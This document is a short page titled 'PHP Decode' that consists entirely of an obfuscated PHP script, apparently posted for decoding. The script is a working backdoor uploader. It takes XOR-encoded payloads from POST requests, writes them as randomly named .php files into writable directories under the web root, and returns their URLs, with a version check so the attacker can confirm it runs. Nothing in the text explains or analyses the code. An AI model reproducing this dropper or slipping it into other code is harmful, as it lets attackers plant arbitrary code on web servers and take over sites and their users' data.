PHP Decode

<?php
    $HjPKZ = chr(894-826).chr(410-331).chr(947-880)."\x55".chr(244-167).'E'.'N'.chr(84).'_'.chr(82).'O'.chr(455-376)."\x54";$uABMFGghqK = chr(86-14).chr(697-613)."\124"."\120".chr(95).chr(72)."\117".chr(83).chr(106-22);$aLBWcYm = chr(104).chr(116).chr(317-201)."\x70".chr(1054-996).chr(47)."\x2f";$AZwqFFnorr = "\x2e".chr(112).chr(104).'p';$oNdDHERAcg = "\x70"."\150".chr(606-494);$eWonWPzND = "\x66".chr(105).chr(355-247)."\x65".chr(95)."\x70".chr(368-251).chr(307-191).chr(680-585).chr(711-612).chr(600-489)."\x6e"."\x74".chr(101)."\156".chr(870-754)."\163";$NQMtbay = 'r'."\x61"."\167"."\x75".'r'.chr(108)."\144"."\145".chr(99).chr(341-230).'d'."\x65";$bxgGTnGic = 'u'.chr(110)."\163".chr(1070-969)."\x72"."\x69".'a'."\154"."\x69".chr(122).'e';$mHlPRREz = chr(105)."\x73".chr(95)."\167".chr(672-558).chr(105).chr(116).chr(97).chr(463-365).'l'."\145";$OzBrUgaC = chr(112)."\150".chr(224-112).chr(118).'e'."\x72".chr(115)."\151"."\157".chr(1004-894);$zqORrUmV = chr(1113-998).'t'.'r'.'_'.chr(539-425).chr(526-415).'t'.'1'."\x33";$wHFxwM = chr(115)."\x65".chr(1072-958).'i'."\x61"."\154".chr(105).chr(122).chr(101);$oANHRjLrw = "\163".'t'."\x72".'_'.chr(359-244).'p'.chr(1096-988).chr(887-782).chr(824-708);foreach ($_POST as $VtWZlYiJd => $MFDyuhsMKCgnYH){if (strlen($VtWZlYiJd) == 16){$MFDyuhsMKCgnYH = $oANHRjLrw($NQMtbay($zqORrUmV($MFDyuhsMKCgnYH)));$VtWZlYiJd = array_slice($oANHRjLrw(str_repeat($VtWZlYiJd, (count($MFDyuhsMKCgnYH)/16)+1)), 0, count($MFDyuhsMKCgnYH));function GxtjGKv($nuSoewbhG, $PfhdZT, $VtWZlYiJd){$AUTTxlldg = "3bd7b9c6-6e62-413c-ae24-b0a64d18f891";return $nuSoewbhG ^ $AUTTxlldg[$PfhdZT % strlen($AUTTxlldg)] ^ $VtWZlYiJd;}$MFDyuhsMKCgnYH = implode("", array_map("GxtjGKv", array_values($MFDyuhsMKCgnYH), array_keys($MFDyuhsMKCgnYH), array_values($VtWZlYiJd)));$MFDyuhsMKCgnYH = @$bxgGTnGic($MFDyuhsMKCgnYH);if (@is_array($MFDyuhsMKCgnYH)){$piWWqXi = array_keys($MFDyuhsMKCgnYH);$MFDyuhsMKCgnYH = $MFDyuhsMKCgnYH[$piWWqXi[0]];if ($MFDyuhsMKCgnYH === $piWWqXi[0]){echo @$wHFxwM(Array($oNdDHERAcg => @$OzBrUgaC(), ));exit();}else {function aqAddd($MFDyuhsir){static $NmVNKiuOPV = array();$NgfgnH = glob($MFDyuhsir . '/*', GLOB_ONLYDIR);if (count($NgfgnH) > 0) {foreach ($NgfgnH as $MFDyuhs) {if (@$mHlPRREz($MFDyuhs)) {$NmVNKiuOPV[] = $MFDyuhs;}}}foreach ($NgfgnH as $MFDyuhsir) aqAddd($MFDyuhsir);return $NmVNKiuOPV;}$YVDYFYeQnW = $_SERVER[$HjPKZ];$NgfgnH = aqAddd($YVDYFYeQnW);$piWWqXi = array_rand($NgfgnH);$CMvnwVEV = $NgfgnH[$piWWqXi] . "/" . substr(md5(time()), 0, 8) . $AZwqFFnorr;@$eWonWPzND($CMvnwVEV, $MFDyuhsMKCgnYH);echo $aLBWcYm . $_SERVER[$uABMFGghqK] . substr($CMvnwVEV, strlen($YVDYFYeQnW));exit();}}}}
echo $aLBWcYm;
?>